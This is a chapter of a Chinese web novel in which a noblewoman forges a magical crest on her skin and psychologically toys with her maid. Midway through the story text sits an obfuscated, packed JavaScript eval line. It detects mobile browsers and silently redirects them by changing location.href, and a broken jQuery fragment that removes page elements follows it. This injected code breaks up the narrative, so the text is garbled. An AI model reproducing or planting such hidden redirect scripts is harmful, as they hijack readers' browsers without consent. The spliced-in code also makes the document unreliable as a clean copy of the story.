8. 第 8 章
作品:《我凭玩弄人心篡位登基》 伊西斯气喘吁吁地扶着镜子,血和汗混合起来顺着脖颈流下,呈现出淡淡的粉色。
纹章在她的锁骨散发着若隐若现的光芒,片刻之后消失不见,只有刀留下的划痕残余在脖颈上。
在药水的作用下,皮肉缓缓蠕动,伤痕也开始愈合,瘙痒感从胸口蔓延到全身上下,一条条漂亮的粉色线条爬行在皮肤上,蛊惑着谁来用力的抓碎它。
新生的皮肤总是呈现脆弱的、惹人怜爱的粉色。
伊西斯的手紧紧抓着镜子的边缘,手背上青筋凸起,喘息着苦苦忍耐。
镜中的少女看起来狼狈不堪,锁骨处的粉色记号在白皙的皮肤上格外鲜明,暗红色的衣裙吸饱了血,在液体的作用下惬意的耷拉在身体上。
她的脸色还有淡淡的红,就像盛放的玫瑰那样娇艳,像伊甸园中的夏娃那样美丽。这样的美被囚禁在一间小小的卧室中,独自盛放又结果,也只有她一个人被允许欣赏,并期待着这出滑稽戏的末路。
镜中的少女在微笑。
她恍惚了一下,也许是镜中的女孩在笑,也许是自己在笑。总之,她毋庸置疑的胜利了,为此她不介意向这个糟糕的地方传播自己的喜悦。
在急促的呼吸中忍耐痛苦,镜中的女孩急促地呼吸,淡红色的面颊仿佛透露着兴奋的意味。她眼神锋锐的简直要穿透薄薄的镜子,锁定在外面窥视她的猎物,鲜血是她的荣耀,暗红的战袍扬起一角,仿佛随时要飘飞到镜子外去,也许就在下一刻,她就要破镜而出,挥舞着刀锋指向自己的猎物!
是谁在窥视?她水晶般剔透的双眸灵动的旋转,宛如一条藏在暗中捕猎的蛇。
伊西斯感到由内而外的虚弱,但镜中的少女太过强势,她下意识的绷起了自己的脸,凝视着镜子中那个张扬的女孩。
啊,力量。
她被疼痛模糊的大脑中终于记起了一点东西。
伊西斯的视线从镜子上移开,将秘银刀的尾部拆开,取出一枚镶嵌在刀柄内的晶石。
刀身的纹路在取出晶石的瞬间暗淡下来,变成一把平平无奇的短刃。刀身里的晶石也被吸走了全部的力量,原本剔透的模样变得灰扑扑的,晶石内布满了雾状的灰丝,表面也有细小的裂痕。
这枚魔晶已经丧失了所有使用价值。
伊西斯挑了一块魔晶重新塞进刀尾,又从自己的魔晶中挑出一枚紫色的魔晶,找出一条旧项链,将上面镶嵌的宝石取下,将这枚紫色的魔晶扣进卡扣里。
她对颜色并没有特别的偏好,不过这枚和她眼睛的颜色相似,不会那么突兀。
这一切都在预料之中。
她没有任何超出常人的力量,就算伪造出纹章的图案来,也没有能量来催动它显出形状来。
在正常的觉醒仪式过程中,纹章会在神圣仪式的催动作用下缓慢显形,此时纹章的持有者自然而然能感知到这份属于自己的力量,并且学会控制这股力量。
她需要魔晶来为自己虚假的纹章提供显形的能量。
伊西斯将紫色晶石项链佩戴在脖颈上。纤细的银丝缠绕在颈间,脆弱的坠着紫罗兰色的深邃宝石。
脖颈上项链中的魔晶会为她的纹章供给能量,而如果因为意外情况,这枚项链必须被取下,她的秘银刀中还藏着一枚魔晶。
也有些贵族会将魔晶打磨成宝石佩戴,这一举动也算不上突兀。
从一开始这种为自己刻上虚假纹章的举动,就超出了所有人的想象。
是的,她可以放心不会被拆穿。
伊西斯这样告诉自己。
但这次来举行觉醒仪式的主教可不简单。伊西斯知道这位主教来自于王都,是王都的大主教。这样位高权重的人物……
理所当然会知道的比别人更多。
伊西斯还是有些担忧。
这个伪造纹章的方法还是来自母亲留下的手册,也许是母亲留下的,她的母亲理论上没有给她留下任何东西。
这本其他人都看不懂文字的书,当然只会是母亲留下的。
母亲最开始教她认的字,就不是帝国通用文,而是一种疑似宗教体系会用的文字。
除了母亲留给她的手册,她没有见过有任何人使用这种文字。
[圣修会手册]
这是那本书封面上写的名字,年份已经很久了,大概是母亲出嫁前带来的,最后跌跌撞撞的流转回她的手上。
看起来就和教廷相关,但教廷的内部组织结构并不是秘密,最出名的当然就是他们的异端审判庭。
可没有任何人知道这“圣修会”是什么组织。
这样和宗教擦边又不属于教廷的组织,甚至是邪|教也说不定呢。
要是邪|教反倒好办了,教廷绝不可能知道这种伪造纹章的方法。
而且伊西斯总觉得不对劲。
她的父亲,洛威尔伯爵,真的有那么大的面子,能请来王都的大主教为他的孩子举行觉醒仪式?
不过一切都可以归咎为运气好,她的父亲向来运气不错。
伊西斯沉思着收拾完了自己。
她将暗红色的裙子换下,穿上白色的连衣裙。
“咚咚。”
绵羊敲响了门。
白色的衣角出现在门后,和洁白的环境温柔的融合在一起。深红色的裙子被随意丢弃在地上,就像任性的大小姐喜欢做的那样,将漂亮的裙子踩在脚下,张扬着她们的个性。
那条暗红色的裙子就像一层脱落的茧。白色的衣裙衬托着伊西斯雪白的皮肤,也许是绵羊的错觉,她似乎看起来更加容光焕发,肌肤如同婴儿一般娇嫩。
就像画中天使那样。
绵羊低头捡起了地上暗红的衣裙,有些走神的想着别的事。
伊西斯心满意足的端详着绵羊。
这迷路的羔羊并不曾出乎她的预料。她很简单,她想要的自然也很简单。这样简单的人碰撞到绝望的境地去,在本性与现实中痛苦的抉择正是她乐意看到的。
只有在这种情况下……才能真正抓住想要的东西。
伊西斯眼中闪过一道锐利的光芒,不过很快掩饰在恬静的外表下。
她是一位恬静端庄的伯爵小姐,不是吗?
伊西斯弯下腰,稀碎的黑发从肩头垂落。她捏住绵羊的下巴,让她被迫仰视着和自己对视。
绵羊局促的抱紧了怀里的衣裙,以为是自己的走神被发现了。
“若我们全心全意的信仰神,神能赐予我们纹章吗?”
伊西斯问出了一个奇怪的问题。
可她神情专注的凝视着绵羊的眼睛,似乎真的想要挖掘出什么答案来。
在这座精心布置的邸宅里,白色自然而然带着圣洁的光环。这洁白的圣光让人感到自身的渺小,即使是最无知的人也会敬畏这种白色。
敬畏然后依赖,最终像回到母亲的怀抱中那样上瘾。
伊西斯支开绵羊的时候,绵羊悄悄去了附近的小教堂。
她想要为自己找选择一个新的信仰,一个新的规则。
服从不能交换来自己活下去的机会,在明白了这一点以后,有了许多供她选择的机会。
她睁开眼看这个世界,这个糟糕的世界。
走出伯爵邸,这个世界遍布哭声。夏天没有雪花纷飞,酷暑将人熬得衣不蔽体。但生活还要继续,他们在伯爵的土地上劳作,等待秋天和下一个秋天的到来。
日复一日的轮回,时间仿佛从未消逝,他们也没有选择的机会。
然后有人死了,在神父的诵经声和亲人的哭声中将他们抬进墓地。棺材合拢,蜡烛点燃,不论生死,结束这绝望的一生。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135819|164433||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
如此而已。
绵羊走进小教堂里,白色的蜡烛晃动着影子,神父正在念诵经文,一个刚出生的孩子正在接受洗礼,希望神能因此赐福与他。
大人们希望让神注意到他,在他的未来让他有觉醒纹章的机会。
这种可能性渺茫,不过在朴素的传说中,神会更青睐这些从小信仰他的孩子。
他们既觉得人生无望,又不敢去死,将一点微不足道的希望夸大,然后抱着这份奢望死掉。
这就是普通人的一生,或者说,在贵族们眼中,这些没有纹章的称不上是人,顶多算被自己圈养的牲畜罢了。
但牲畜也有牲畜的好处,领主们关心自己的财产,会提供基本的庇佑。
一点微不足道的纹章者的力量,就足以让他们感恩戴德,并对孩子们未来充满希望了。
将希望寄托在后代上,也是他们动物性的体现罢了。贵族们傲慢地瞧不起这些动物也理所应当。
贵族的后裔们都能觉醒纹章,而普通人只有万里挑一的机会觉醒某种纹章,获得一张选择人生的入场券。
他们说神无所不能。
绵羊想着。
可是神为什么不将纹章的祝福分散给所有人?神为什么要认为的制造出这些差别来?
伊西斯问,神能赐予祂虔诚的信徒们纹章吗?
信徒们被教导着不能要求神的恩赐,只能心怀感激地等待和感恩。
神结束了人与人之间的战争,这已经是无上的恩赐。祂拯救了未来无数生命,这难道不是莫大的恩典吗?
不可质疑神。
神不像服从那样,只要简单的交换就可以了。他们并不对等,不论是回报还是地位。
服从的规则已经被粉碎,一味的服从不能让她活下去。
神也不……
不,可除了神,用神来麻痹自己,一个无能为力的可怜人还能做到些什么呢?
什么也做不到。就像伯爵的土地上世世代代死去的灵魂那样,没人能看到他们在死后是否进入神的世界。
绵羊感到了一种无力。
最神圣的信仰也仅此而已。
这个世界好像就是这样循环着的绝望构成的,所有东西早就注定了,这大概就是人们喜欢说的命运。
还是离不开神。
是的,神无处不在。
绵羊没有直接回答伊西斯的问题。
“小姐,您一定能觉醒纹章的。”
她恭敬地低下了头。
贵族的后裔们有优秀的血脉,上天的眷顾,生来就是这个世界的宠儿,他们理所当然的支配着所有的资源,在舞台上尽情展现自己,在这个世界上留下浓墨重彩的一笔。
他们这些人,只会在庸碌中度过一生。
趁早舍弃自己的灵魂,舍弃那些无用的悲痛,才是救赎自己的唯一途径。
放弃灵魂,便再也感受不到痛苦了。
即使从未有人这样说过,但所有人在潜意识里都明白,如果不选择神,也无路可走。
“神能赐予你纹章吗?”
伊西斯锲而不舍地追问。
“那要看神的意志,小姐。”
绵羊回应道。所有的情绪都从她的声音里消失了,仿佛什么都不会再让她产生波动。
她似乎已经在喜悲中看见了自己的未来。
伊西斯端详着绵羊,问出了一个出乎意料的问题。
“那么,我叫什么?”
绵羊停顿了一下。
“当然是莫拉娜了,小姐。”
绵羊不解地望着她。
镜子里的紫发少女露出了一个张扬的笑容,她的视线穿过薄薄的镜子,洞穿镜外可笑的场景。
莫拉娜,还是伊西斯。
你,究竟是谁?